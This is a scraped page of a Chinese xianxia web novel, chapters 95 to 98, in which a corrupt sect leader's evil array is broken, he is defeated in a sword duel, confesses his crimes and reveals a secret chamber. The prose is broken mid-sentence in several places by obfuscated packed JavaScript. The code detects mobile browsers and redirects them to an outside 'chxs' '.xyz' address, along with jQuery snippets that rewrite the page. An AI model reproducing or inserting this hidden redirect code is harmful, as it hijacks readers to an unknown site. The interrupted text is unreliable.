明明马上很可能又要迎来一场大战,可梁惜因却是忍不住笑了起来。她看向重霄,见他面上除了期待,还带有几分委屈,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他白元绪一个剑修,能布出什么大阵来?再说了,我们这可是有含盈仙子在。” “谢掌门不退,我们又怎甘愿做个懦夫?这么多修士在此,难道还怕他白元绪一人不成?” 原本有一部分人已萌生了退意,一听这些话,又硬着头皮附和起来。最后竟无一人退却,全都表示要共同进退。 谢既微微不可查地摇了摇头,没再多说什么,率先迈步走了进去。殿中静极了,并无异象,只有众人的脚步声在回荡着。 最前方的座椅上坐着一人,正是白元绪。他身着石青长袍,墨发用玉簪束起,俨然还是那高风亮节的苍梧宗掌门。前提是忽略他周身缠绕着的黑雾和眼底的血丝。 见他们进来了,他嘴角咧出一抹笑意,声音响彻殿内:“可算是都回来了,真是让我好等。” 他的笑不似往日那般平和温雅,而是暗藏着一股狠劲。仿佛下一瞬就会彻底撕开伪装,化作厉鬼前来索命。 95. 聚煞 殿内群情激愤。 “白元绪!你身为一宗掌门,入了那邪门歪道不说,为了让自己能脱身,竟纵魔兽下山害人,你心里可还有半分天下苍生!” “苍梧宗怎么会摊上你这样的掌门!简直是耻辱!” “事已至此,在下劝你还是尽早将一切如实招来,说不定还能少受些苦。” ...... 一声声,一句句,无不是讨伐之言,无不含轻蔑之情。 白元绪淹没在骂声的汪洋中,脸上的笑意愈来愈深,最后竟是忍不住笑出声来。众修士慢慢沉寂了下来,殿中一时只余他的笑声。 “哈哈...哈哈哈哈......”他笑得夸张极了,就如听到了什么极好笑的笑话。 待笑够了,他擦去眼角的笑泪,声音响彻整座主殿:“邪门歪道?敢问林堂主,是谁规定的邪门歪道?正道和邪道,不过都是修炼的法门罢了,有必要分得那么清吗?” 林堂主双目圆睁,显然是气急:“一派胡言!一派胡言!” 白元绪没理他,转而又道:“方长老,说我是耻辱,可若是没有我这个耻辱,苍梧宗能有今天吗?”他声音骤然放大,猛地从座椅上站了起来,“早在两次仙魔大战后,苍梧宗就该衰败了!” “是我带着它一步步走向如今,是我让它重新成为修仙界两大宗门之一,是我在处理事务、招收弟子,凡事无不亲力亲为,是我!而现在就因为我修了你们口中的邪门歪道,就成了耻辱是吗?” 方长老脸色发白,讷讷不能言:“你...我...” 谢既微上前几步,眸色沉沉:“白掌门,话不能这么说。你纵是于苍梧宗有功,但皇城之乱你也有过,这二者怎能相提并论?再者,寒林秘境中的幽炼阵、漆吴山封印被破、陆家主之死,这些事是否与你有关?” 白元绪似是累极,仰头极低地笑了几声:“是又如何?不是又如何?你们没死在方才的动乱中真是可惜了。”他话音一转,“不过,现在也不晚。” 立马有人大声问道:“白元绪,你这是何意?!” 很快他就知道答案了,不止是他,殿内所有人都知道了。只见白元绪张开双臂,掌中涌出团团魔息,随后,他将掌心朝下,魔息被注入地面。 霎那间,地面上骤然显现出道道阵纹,这些阵纹不是在靠灵力流转,而是魔息。每一道阵纹上都蕴着浅淡的黑雾。 梁惜因双眉紧锁,低头凝视着这些纹样:“这是...聚煞阵!” 白元绪一介剑修,何时在阵法上有了如此高的造诣?不对,此等邪阵的布法分明早已失传了,她也只是在古书上看见过纹样记载,白元绪又是从何处学会的? 聚煞阵,邪阵的一种,依靠魔息或怨气运转,凡是入阵之人,皆会被黑雾缠上。这些黑雾经阵法的加持,威力大增,足以扰乱修士的心智,使其心神不宁、幻象缠身。若是心智不坚者,则全身的修为都会化作阵法的养料,至死不得安宁。 简而言之,此阵考验的便是人的心智,只要心智足够坚定,那根本就不足为惧。可此事说得容易,真正做到的又能有几人?凡是陷于此阵者,多数都无法从中抽离出来。 魔息暴涨,席卷了殿中的每一名修士,惨叫声不断。剑修拔出长剑,刀修挥舞阔刀,音修琴声不绝...然而没有用,一点用都没有。这些黑雾没有实体,却又无处不在,一旦被缠上,就再也没法逃脱。 常谧双手捏诀,可怎么也凝不出灵力来,她恍然间好似又回到了天璇峰,四处走着、看着,可整座峰上只有她一人,空荡极了。 师尊和师弟都走了,不会再回来了,为什么...为什么要留下她一人。眼泪不知不觉流了满面,她是大弟子,定是她哪里做得不够好,师尊才会不要她... 纪长天半化出原形,抱着双膝缩在了翅膀下。他面前突然出现了好多人,这些人将他围在正中间,他们全都没有五官,纪长天却依旧看出了嘲笑的意味。这些人无脸人指着他,笑声尖锐而刺耳。 “哑巴!哑巴!” 不,他不是哑巴... “胆小鬼!就知道躲在师尊后面!” 师尊呢,师尊在哪。 “白痴,被自己最信任的师弟害死了吧!” 不,不是的,师弟没有害他,他也没有死。 可为何,在他从合虚山回去后,他们都不愿意出来见他呢... 扶岳难耐地在地上翻滚着,林韵舒抿紧双唇,双手颤抖地往他嘴中塞着各种药丸。 “哪里来的臭老虎,滚开!区区妖物,也配入我们玄晖宗?” “扶岳,为师不是说了吗,要与师兄师姐好好相处。” “什么魔尊,就是头白眼狼,他害死了含盈仙子,还害得梁峰主修为尽失!” 眼前一会是恶声恶气的同门,一会是面含责备的师尊,一会又成了梁惜时、梁惜因和谢既微三人。扶岳想向他们靠近,可就在他即将触及他们之时,这些人又突然凭空消失了,紧接着出现在了另一处地方。 扶岳茫然环顾着四周,他想抓住其中一人,却谁也抓不住,他们全都低头看着他,神情似怜悯,似讥讽,眼中流淌出两行血泪。 扶岳捂住头,大叫出声。 谢既微一手撑着剑,紧紧盯着前方的白元绪,却难抵脑中纷乱的声音。 “既微,你是天生剑体,有此天赋加身,注定要承担更大的责任。” “既微,回来练剑!他们可以在一处玩,但你不行,你身上肩负着的,不仅是谢家的兴衰,更是这天下的太平、万民的安危。玄晖宗掌门明日便要来访了,你务必要好好表现,争取直接被收做关门弟子。” “既微,为师将玄晖宗交于你手中,宗门延续已近千年,为师相信,你定能带它走得更远。” ...... 若说完全不受此阵影响的,那非玄仪子莫属。 整座卜星阁只有他一人来了,此刻他待在殿中一处不起眼的角落里,正稳稳地坐于龟甲之上。 还好跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972895|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了,不然又错过了一场好戏。 他抬眸望向梁惜因和重霄的方向,默默收起了掌中积聚的灵力,笑眼弯弯。真正的好戏,还没正式开场呢。 阵成的一瞬间,梁惜因就被浓郁的黑雾包裹住了,只不过不是魔息,而是怨气。两道黑雾彼此撕咬着,竟是没让处于中间的梁惜因受到分毫影响。 灵气自掌中凝聚,与怨气一同加护于她周身,将肆虐的魔息阻隔在外。 她扭头看向重霄,却见魔息几要将他吞没。她原以为殿内所有人都是如此,扫视一圈后,却发现并不是。除了谢既微,聚集在重霄周身的魔息是最多的,几乎是旁人的好几倍。道道魔息如同锁链,将他困缚其中。 梁惜因瞬间就想通了其中关窍。她猛地望向白元绪,果见他勾着唇角,好整以暇极了。他是想以此阵搅乱重霄的心神,好让他再度失控,一旦怨气倾泻而出,这殿中的所有人都难逃一死。 不,还不止,他若想全身而退,定然还留有其他后手。从进殿起,梁惜因就感知到殿中不止一重阵法。脑海中闪过什么,梁惜因眉目一凛。 幽炼阵!仙魔大战挑动不成,白元绪是想借此机会,吸收殿中所有人的修为,甚至包括重霄体内的怨气。为防殿内众修士逃脱,他极有可能还布了一层困缚阵。 梁惜因指尖轻动,灵力随之流转,但面前并没有出现相应的阵法。果然,缩地阵布不出来,此地已被封死了。 多么完备的计划,也难怪他敢以一人之力,与整个修仙界为敌。只可惜,梁惜因对他露出一个笑来,有一点他没算到。 悠闲褪尽,白元绪面色慢慢凝重起来。怨气最是难控,更别提在聚煞阵的作用之下,可为何重霄那处到现在还无怨气溢出? 他咬牙,操纵着阵中魔息。黑雾如同潮水,不断向重霄涌去,在他周身旋转着、沸腾着,宛若一个巨大的黑色风暴。殿中其余修士终于从幻象中脱离出来,或坐或躺,仅有极少数的人还是站着的,但无不是大口喘着气,满头冷汗。 梁惜因等的就是此刻,她将灵力全部凝于掌中,高声道:“阿霄,布阵!” 话音落下的一瞬,缠于重霄周身的黑雾被另一道黑雾冲溃,重霄陷于怨气之中,他肤色极白,瞳色乌黑,眉间的印记与两枚眼下痣是鲜血一般的殷红,看向白元绪的眼神满是冷意,不带丝毫情绪。 白元绪心头先是一喜,紧接着又像是被一盆冷水兜头罩脸地泼下,全身的血液好似都冻住了。 怨气虽如他期望的那般四溢着,但并未袭向在场的任何一名修士,而是尽数涌向梁惜因面前用灵力绘制的阵纹。 按照常理,灵力与怨气是不相容的、甚至是相斥的。可重霄体内的怨气却与梁惜因蕴出的灵力完美融合在了一起,黑雾与白光交织着,一暗一明,却协调无比,好似它们生来就该纠缠在一起。 阵纹愈扩愈大,逐渐布满了整座主殿,随后沉沉地压了下来。溃散的魔息无处可逃,尽皆消散在了阵法之下。 聚煞阵,破了。 96. 双剑 聚煞阵早已失传,但要破这类攻击型的大阵,最常用的方法只有两种——暴力破阵或布下反阵。 梁惜因此前并不知晓反阵的阵图,但胜在所读古书无数、所绘反阵也无计,她在阵成的一刹便迅速观察着地面上的纹样,在心中默默做着改动。 毕竟所有的反阵,都是以原阵为基础绘就的。 可即便绘对了反阵,她所剩的灵力也不足以与白元绪体内积久的魔息抗衡。所幸,重霄在她身侧。 两百年前,她用自己的一条命,去换得重霄对怨气的绝对掌控。哪怕沧海桑田、时移世易,她的灵力也始终护着重霄的筋脉。这也是为何重霄体内的怨气从不排斥梁惜因。 但很显然,白元绪与几乎所有修士一样,并不知道这一点。他还以为重霄仍像两百多年前那般,轻易便会被怨气占据心神,大开杀戮。 在被汹涌的魔息缠上的那一霎,重霄第一反应是觉着好笑。若白元绪打得是这个注意,那他注定要失望了。魔族向来恃强凌弱,魔息也不例外。这些黑雾能感受到重霄体内的怨气,更能感知到两方实力的悬殊,是以仅仅只是缠绕着他,迟迟不敢有下一步动作。 重霄也不急,他在梁惜因体内留下了一抹怨气,知她此时并无危险,那便足够了。 修士的哀嚎与求饶声不绝于耳,重霄冷笑一声,也不知这群人现在有没有后悔跟过来。 在所有魔息都扑向重霄时,梁惜因知道,时候到了。一旦怨气溢出,白元绪一时半刻定然无力重新操纵四处溃散的魔息,自然便也无法驱动邪阵来抵御压下的反阵。 怨气融入反阵的阵纹之中,弥补了灵力的不足。在反阵落入主殿地面的那一刻,黑白交织的阵纹与逃散的魔息同时消失了,两相抵消。 此阵一破,魔息消散,幽炼阵自是也没了效力。至于困缚阵...留着也好。 众修士慢慢回过神来,慌忙从地上爬起身,整理着皱起的衣摆和散乱的头发,仿佛这样就可以当作方才什么都未发生,他们仍然是前来讨伐魔头的正义修士。 “白元绪!我看你这下还有什么手段!” “不知含盈前辈在此吗?竟也敢在这班门弄斧。” “再不束手就擒,那我等可就不会手下留情了!” 白元绪抹去嘴角血迹,身形微微摇晃着:“不...怎么会...” 众人激愤的声音他全都听不到了,他抬起微颤的手,指着重霄,满脸的不可置信:“你!” 重霄不语,眸色幽沉,冷如寒冰。就这么一个眼神,竟是让白元绪感到一阵心悸。 梁惜因侧身上前半步,将重霄半挡在了身后,看着白元绪道:“如何?” 白元绪的视线来回在她与重霄之间移着,少顷,他似是想通了什么,大笑出声:“好啊,好啊,含盈仙子,真是好一个‘观音面,慈悲心’,竟为了一个不人不魔的东西做到这份上!”说着,他又咳出几口血来。 梁惜因的脸色极少有像现在这般难看的时候,清丽的面容上压满了晦暗的乌云:“白元绪,注意措辞。” 一向斯文温雅的白掌门此刻已然状若疯癫,衣领上沾满了血迹:“注意了又如何?不注意又如何?含盈仙子莫不是要大发善心地放过我一回?” 谢既微神色不善,他一直站在最前方,此刻开口道:“白掌门,认罪吧。” “认罪?”白元绪轻飘飘地重复了一遍,旋即反手拔出怀离剑,猛地向谢既微袭来。 谢既微反应极快,长昀出鞘,两剑相击,发出铿然一声响,所引起的灵力波动震颤着席卷了殿内的每个角落。 “谢掌门!当心!” 不少修士见状都想上前助谢既微一臂之力,但都被拒绝了。谢既微回眸一瞬,说:“不必,谢某一人足矣。” 那些修士还在兀自犹疑着:“谢掌门,万不可轻敌啊,白元绪也算是剑修中的大能了!” “对啊,谢掌门,他被逼急了指不定还会使出什么阴招来。” 一片嘈杂声中,梁惜因笑意浅浅,淡然开口道:“无妨,谢掌门什么实力,诸位难道不清楚吗?” 殿内的声音渐渐小了下来。是啊,那可是天生剑体,当世剑道第一人啊。 白元绪的攻势极为凶猛,他的一招一式并无固定章法,却蕴着十足的狠劲。他是当真想置谢既微于死地。 谢既微从容持剑回击,并无一点慌乱,甚至称得上是一句游刃有余。白元绪面上恨意愈深,使出的每一剑都挟着万般灵力与千钧力道,势若雷霆。谢既微略微正了神色,他手腕翻转,所使的剑招极为轻巧,似飞燕穿云、游鱼摆尾,却是制得白元绪毫无还手之力。 前方是两名剑修大能在过招,后方众修士则是惊叹连连。 “那是谢家剑法吧,果如传闻所言,于流风回雪中斩世间诸邪,真是美极!妙极!” “长昀一出天下惊,此言不假啊!” “白元绪当真是不自量力,出手前也不先掂量掂量自己几斤几两。” 又是一道剑光闪过,白元绪跌坐在地,长昀的剑尖泛着寒意,直指他的咽喉。 “白掌门,认罪吧。”谢既微站在他身前,语调平静地重复道。 白元绪嘴角血迹未干,整张面孔都燃烧着耻辱与深切的痛恨。蓦地,他又笑了起来,说出的话却是句句咬牙切齿:“天生剑体,名门望族,谢掌门,可真是好命啊。” “有人日日夜夜苦练剑法,而有人看一眼就能领悟。有人从外门弟子一步步成为亲传弟子,再当上如今的掌门,谁又会知道这每一步走得有多难?!”白元绪已说不清是在笑还是在哭了,“有人却仗着家族名望,直接成为前任掌门的唯一亲传弟子,又再顺理成章不过地继任掌门。” “凭什么...凭什么!天道不公,天道不公啊!哈哈...哈哈哈哈......” 长昀的剑尖动了动,谢既微心中闪过一瞬的惊愕,随之而来的则是深深的无奈。这些话,想必已在他心中藏了许久了,此刻终于撕下伪装,全部宣之于口。天生剑体,修仙世家,人人称羡...可他当真想要这一切吗? 梁惜因上前几步,替谢既微问出了那句话:“白掌门,天道或许确实不公,但你以为谢掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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白元绪嗤笑一声,却未再开口,像是陷入了某段回忆。半晌,他启唇说:“陆家主...我其实从未想过要害他。” “他于我有知遇之恩,若非他举荐我入了苍梧宗,我怕是早就死在街头了。没有他,也就没有今日的我。” “那日他来找我,是我完全没料到的。他发现我入了魔,还说什么要给我洗灵,这些你们方才也都看到了。”白元绪长叹一声,笑意苦涩:“他身为陆家家主,与苍梧宗共同治理着皇城,在某些事上却天真得令人发指。你们这些口称正道之人,或多或少都有这样的毛病。他以为只要洗去了我体内的魔息,便可一切无虞。可洗灵若是真有用,古往今来又怎会有那么多入了魔的修士?” 洗灵只能洗净魔息,却洗不净心性。 “他说明日就要来与我洗灵,我自是不愿。”他瞒着所有人用魔息修炼,好不容易有了如今的成果,又怎甘愿前功尽弃?“我本打算先离宗几日,想想应对之法。可等我再坐回桌前,却发现被我封在坛中的冥龟子已不见了踪影。” 97. 罪彰 脑中一片空白,白元绪当时只觉得自己呼吸都要停止了。他翻遍了每只小坛,找遍了每个角落,可都没有发现那只通体乌黑的瓢虫。 后背浸满了冷汗,他坐在满地狼藉的室内,一个他一直有意回避的答案此刻避无可避地浮现在脑内。冥龟子不会攻击喂养它之人,而方才来过此处的又只有陆闻朔一人,只可能是... 白元绪双手按着头,费力地理解着这个事实。天空渐渐泛白,宗内逐渐有了修士走动的声音。日光洒在他身上,让他心中那些想法再也无处遁形。除却最开始的震惊、慌乱和悔恨,他竟是觉着有些庆幸。 不,陆闻朔算是他的半个师尊,他怎么能这样想?十指将本来整齐束着的长发抓得乱七八糟,可冥龟子一旦入体,便是药石无医,他纵是有心也无力。而且这下...世间就再无人知晓他入魔一事了。 只是可惜了他好不容易才炼成的一只冥龟子。长芜草已然耗尽,漆吴山的异动也引来了各门派的重视,短时间内是再炼不成了。 他话音落下,殿内紧接着就响起一片惊骇之声。 “我看你根本就是存心的,冥龟子这种魔兽有多危险你难道不知吗?为何不将它管好,还任由它钻进陆家主体内,以至于最后害了陆府满门!” 白元绪扫了说话的那名修士一眼,他眸中没有丝毫情绪,却让那人莫名脊背一凉。 白元绪收回目光,向后仰了仰身子,语气平淡:“这确实是我的疏忽,我分明已将坛子封好,却没料到那么小的一只瓢虫竟能直接将坛子咬开一个洞,从中逃了出去。” 谢既微拧眉,继续问:“你明知陆家主体内有冥龟子,却不仅不将此事告知任何人,还在皇城内召开了交流盛会,此又是何居心?” 答话的竟是重霄:“明知而放任,无非是想趁机借各门派之手料理此事,好独善其身。” 白元绪眼睑半垂,没承认也没否认,而是说:“陆家主的死确与我脱不了干系,你们要罚便罚吧。” 还有一个蹊跷,梁惜因问道:“既然你说冥龟子是意外跑出去的,那你起初又是想将它用在何人身上?” 白元绪没答话,他慢慢抬起头,带着冷意的目光落在了谢既微身上。仅是这么一个动作,就足以说明一切。 最先有动作的是玄晖宗诸人。扶岳三两步冲上前来,若不是谢既微拦着,此刻怕是已经扑到白元绪身上去了。他大吼道:“白元绪!既微到底有何处得罪过你,竟要被你下如此死手!” 不知是料定了他不会真的扑上来,还是深知自己罪责难逃逐渐有恃无恐,白元绪笑着接道:“急什么,他这不是还没死吗。白某此举也无非是想让天道显得公平一些,只是可惜了,有的人不关命好,就连运气也这般好。” 席青如柳眉倒竖:“口口声声的天道不公,我看这天道就公平的很,没让你这种恶人逃脱了去。” 不止是他们几人,玄晖宗的长老和峰主们皆是满脸不忿。自家掌门有这种心思,本就颇觉没脸的苍梧宗修士此刻更是抬不起头来,不敢看向玄晖宗众人所在的方向。 梁惜因只觉一阵后怕涌上心头。以谢既微的修为,若他真被冥龟子入体了,那事情可就没那般容易解决了。届时大量无辜之人将惨遭杀害,谢既微自己也难逃一死。而他一死,得知真相的玄晖宗必然对魔族深恶痛绝,白元绪只要再出来煽风点火几句,那第三次仙魔大战在所难免。 “既微哥...”她侧目看向谢既微,轻声唤道。 出乎意料的是,谢既微竟是分外淡定,还能好声好气地和白元绪对话:“白掌门,恐怕要让你失望了。若真有那么一日,谢某也只会在发现的第一时刻自裁以保天下。” 他说得轻松,但在场的任何一人都知道,要想抵御冥龟子的控制自裁,又岂是那么容易的?这无疑需要极强的意志力。可看着谢既微的神情,却无一人对此提出怀疑。因为他们知道,谢既微是当真能说到做到。 白元绪的视线在梁惜因和谢既微两人间移着,意有所指地冷笑道:“还真不愧是一个宗门出来的。” 无人理会他。梁惜因接着问:“你是从何时开始修的阵法?又是何人教导你的?”能布出此种大阵,少说也要修个几十上百年。 白元绪半敛着眸,缓缓回道:“何时开始的?我记不清了。也无人教导,是我自己私下学的。” 他没必要说谎,也正因如此,梁惜因才觉心惊。阵法有多难修,她再清楚不过,若是无人引导,极有可能修了十几年都布不出一个最基础的阵来。 白元绪主修剑道,资质也并非上乘。他说得轻巧,但这寥寥几句话下,必然是无数个日夜的苦修。这甚至是很多阵修都做不到的。 短暂的震惊与感慨过后,梁惜因开始梳理这一系列事件:“所以你是先破了漆吴山的封山阵,从中采够了长芜草,并给闻影下了蚀骨忠。之后又在寒林秘境中布下幽炼阵,让闻影毁了六角晶石,试图吸取众弟子的修为。”这样一切就都说得清了,与他们先前猜测的差不了多少。 她这些话中包含的信息量不可谓不多,才静了没多久的人群又沸腾起来。 “蚀骨忠?!那可是邪术中的邪术啊,想不到白元绪竟能狠成这样。” “我玄晖宗到底与你有何仇怨,被你屡次三番地争对!” “那闻影不是传闻杀人如麻吗,能叫他受些邪术的苦也好,纯纯活该,我倒要看他以后还敢不敢再嚣张...啊啊啊!”这修士话说到一半,突然毫无来由地大叫起来,神情痛苦非常,一时竟连站都站不住了,倒在地上抽搐着。 众人大惊,第一反应是去质问白元绪:“白元绪,你又使了什么邪术阴招!他此前可从未得罪过你!” “哼,难道我玄晖宗的那些弟子就得罪他了吗?还不是险些被他下了死手。” 白元绪举了举被捆在一起的双手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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像是和风吹散了阴霾,梁惜因周身骤然回暖。她侧首望向重霄满含担忧的双眼,唇角绽出一抹笑:“无碍,只是想起了一些事。” 重霄依然不放心。殿内满是修士,谢既微就站在他们身侧,他也不便做什么,于是放出一缕怨气,轻挠着梁惜因的掌心。 掌中传来痒意,梁惜因笑意愈深,轻声对他说:“好了,我当真无事。” 谢既微这时已在向白元绪盘问其余幻阵的所布地点了。等白元绪报了一串地名后,谢既微向他确认道:“就这些吗?” 白元绪歪着身子坐着,语调懒散:“白某已是将死之人,有何说谎的必要?谢掌门若是不信,自可再去查验。” 谢既微将记音符收起。不消白元绪说,他也会再在凡间搜寻一番,以确保并无遗漏。 “问完了?”白元绪掀开半阖的眼帘,望着面前的几人道。 “还有一点。”重霄沉声说,“你是从何处习得这些邪术的?” 98. 密室 此话一出,最先出声附和的是苍梧宗的长老。 “魔尊这话问得对啊,这些邪术有的早就失传了,他白元绪又是从何得知的?” “还有方才那些魔兽,到底是从何处跑出来的?我竟丝毫未曾察觉到。” “照这般看,我们往日岂非一直与这些魔兽同处一宗?谢掌门,此事定要彻查,谁知道他还留有什么后手。” ...... 白元绪觉着滑稽极了。这些长老往日里口口声声说着——有他做掌门,是苍梧宗的幸事。处处恭维着他,唯命是从。眼下事情败露,他们又分外一致的急于与他撇清关系,将他当作宗门之耻。在提防他的同时,还不忘向玄晖宗的那些人示好。 他喉间逸出一声笑来。人情冷暖,不是向来如此吗?可笑的是他,竟还真把自己当作受人景仰的掌门了。 “你们当真想知道?”他轻声问。 殿内陷入诡异的寂静。苍梧宗的长老们被他那阴恻恻的眼神一飘,心中莫名生出些许慌乱来。 一姓周的长老吞了口唾沫,梗着脖子说:“怎么,你也知道你做的那些事有多上不了台面,才这般耻于示人吗?” 白元绪不语,他面上笑意犹在,摇摇晃晃的从地上站起,原地踉跄了几下后才站稳:“既是诸位要看,又岂容得白某拒绝?只是...你们可莫要后悔。” 他最后一句话是对苍梧宗众人说的,犹显意味深长。 说罢,他也不顾旁人反应,兀自向殿外走去。众修士见他走来,纷纷让出一条道来,避如蛇蝎。他走得极慢,一步一步,不知是出于疲惫,还是在等他们跟上来。 梁惜因犹疑道:“他答应得这般痛快,恐是有诈。” 重霄目光幽深地望了眼白元绪的背影,对梁惜因说:“师尊放心,他现在做不了什么,也逃不掉。” 谢既微也说:“事已至此,他打得什么念头,跟过去一看便知。” 见他们三人动了步子,其余眼神游离的修士立马随了上来。他们跟在白元绪身后,来到了苍梧宗历代掌门所居的院落中。白元绪走进书房,而书房中自是容不下这么多人,是以除却苍梧宗的一些长老和修仙界颇具名望的大能们,多数修士都留在了外面。 见状,白元绪说:“留在外头的人难保会不平,诸位何不使一张留影符,好叫他们也看看?” 不对劲。梁惜因凝眸注视着他,先不论那些人心中是否会不平,他白元绪何时变得这般善解人意了?况且等他们出去后,也自会把所见情形告知众人。 梁惜因环视着这间雅致非常的书房,这里面...莫非当真藏有什么骇人听闻的秘密? 已经有修士按他的话做了。留影符能够录下事情的经过,以待需要之时重新展现出来。若将此符与镜子这类具有反射功能的物品相连,则能将符纸所记画面实时呈现在半空中。 “可有人带了镜子?”那持符的男修问。 一道稚嫩的声音立刻答道:“诶,我这正好有一面。” 梁惜因顺着声音望过去,就见玄仪子正从乾坤袋中取出一面朴素的铜镜。 梁惜因:“......”若是她没猜错的话,那是千虚镜吧!这未免也太暴殄天物了吧!! 她刚要出言劝阻,就听得一名女修道:“此等小事,怎可劳烦玄仪子前辈,用我的便行。”说着,她从袖中取出一面菱花小镜来。 “好吧。”玄仪子的语气听上去还有几丝遗憾。梁惜因不禁扶额,幸好此处没有其他卜星阁的修士在,不然还不知会作何反应。 待符咒布置好后,周长老最先等不及地说道:“白元绪,这下行了吧?还要再拖延下去吗?” 白元绪唇角上扬,看向他的目光中却无一丝一毫的笑意:“周长老,别急啊。” 众目睽睽之下,白元绪缓步走到墙边的书架前,取下了架上的几本书,随后咬破手指,在书架第二层的正中以血绘了一道符。 出乎众人意料的是,这书架好似有生命,转眼就将白元绪的血吞咽得干干净净,旋即缓缓向右侧移去。待它移到了墙角,自它后面露出的、原本空无一物的木墙之上,竟是凭空出现了一道门。 门的样式十分寻常,几乎是随处可见,真正令众人感到惊奇的是门前浮着的巴掌大的灵石。说是石头,但其质地看上去比玉还要莹润几分,透亮极了。这灵石就这么毫无依凭地悬于空中,通体散发着蓝色的光纹。光纹如水波,微澜起伏间,将整扇门都笼于其中。 众人鸦雀无声,连呼吸都不自觉地放轻了些许。 梁惜因的双眸覆满了蓝色的流纹,她有些难以置信地启唇道:“这是...” “云隐石。”玄仪子眼前一亮,接过了她的话。 拥有此石者,能够隐去一切他想隐匿的空间,甚至是造出一个原本不存在的空间,且这空间不会被任何方式探查到,堪称神石。关于云隐石的来源,从古至今都只有一个说法,那便是由上古时期的十神巫合力所制。炼化成功后,此石被一分为十,十名神巫各持一枚,或是用于藏身避世,或是用于存放法宝秘籍。 此后光阴流转,十名神巫先后陨落,十块云隐石也流落到了世间,屡遭争夺,也屡易其主。要是落在正道修士手中也便罢了,一旦有一枚落入穷凶极恶之徒手上,那便会成为他们作恶的工具。 在不断的纷争与变迁下,有九枚云隐石都先后损毁,唯一完好的一枚也不知所踪。结果到头来竟是在苍梧宗内。 这些传闻距今太远,梁惜因对此向来是一笑置之。眼下,她感受着云隐石散出的灵力与气息,那确实是...来自上古。她状似不经意地扫了眼苍梧宗的几位长老,在他们脸上看到了如出一辙的愕然。 梁惜因收回视线,看来也只有苍梧宗历代掌门才知晓此石的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14989925|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存在。也难怪她适才未察觉到任何异样,云隐石的功效,果然名不虚传。 半晌,众修士渐渐回过神来。谢既微神情严肃,问白元绪道:“苍梧宗是从何处得来这枚云隐石的?” 白元绪淡淡地瞥了他一眼:“这事你要去问顾前辈。” 不需他明说是哪位顾前辈,所有人全都心知肚明。苍梧宗的开宗掌门,便是姓顾。照白元绪的意思,从顾掌门始,这云隐石便已在苍梧宗内流传了。而顾掌门早已死在雷劫下,至于他又是从何处得来此石的,只怕是不得而知了。 白元绪也不管他们做何反应,伸手推开了门,站在一旁挑眉道:“周长老,请吧。” 分明是客气之语,周长老却从中听出了浓浓的讽意。他一甩袖,竟是真越过谢既微几人率先走了进去,冷哼道:“我倒要看看你在装神弄鬼些什么!” 重霄勾了下梁惜因的手,先于她半步迈进了门。其余修士也紧随着进来了,不少人已走进了门中,眼睛却还盯着门前的云隐石看。 梁惜因一走进来,就闻到了一股极淡的血腥味。她面色不变,打量着这间由云隐石构筑的密室。 此处与苍梧宗的主殿极像,只不过少了窗扇和侧门,除却进来时的那一扇门,几乎是完全封闭的,且相比之下还要更大些。摆在他们面前的是一排书架,其上堆满了书,已有几名修士上前去翻看了。 梁惜因没急着过去,她与重霄对视一眼,一同向着更深处走去。越过那些书架,眼前骤然开阔起来,梁惜因心中泛起骇浪,霎时就明白了那血腥味是从何而来。 面前的景象不可谓不触目惊心,几十只巨大的铁笼或立在地上,或被挂着悬于空中。这些铁笼的柱子无一不是暗红色,分不清是锈斑还是血迹,有些更是以千奇百怪的姿态歪折着,丝毫不难看出被关在里头的兽类曾做过多么剧烈的挣扎。 正中是一块空地,其上绘满了血红色的纹样。梁惜因平复着心绪,低头看了半晌,虽没记起曾在哪册书上看到过,心中却已本能地生出排斥。想来这也是某种失传的邪术。 除这些外,地上还杂乱地散落着好些纸张和纸团。梁惜因蹲下身,随手拾起其中一张。只消看上一眼,她便认出了这是归虚阵的阵纹。不只是这一张,她目光所及之处,所有展开的纸张上都绘着不同的阵纹。 她松开手,任由纸落回地面。能练到此等地步,白元绪若当真去做阵修,想必也是位大能。 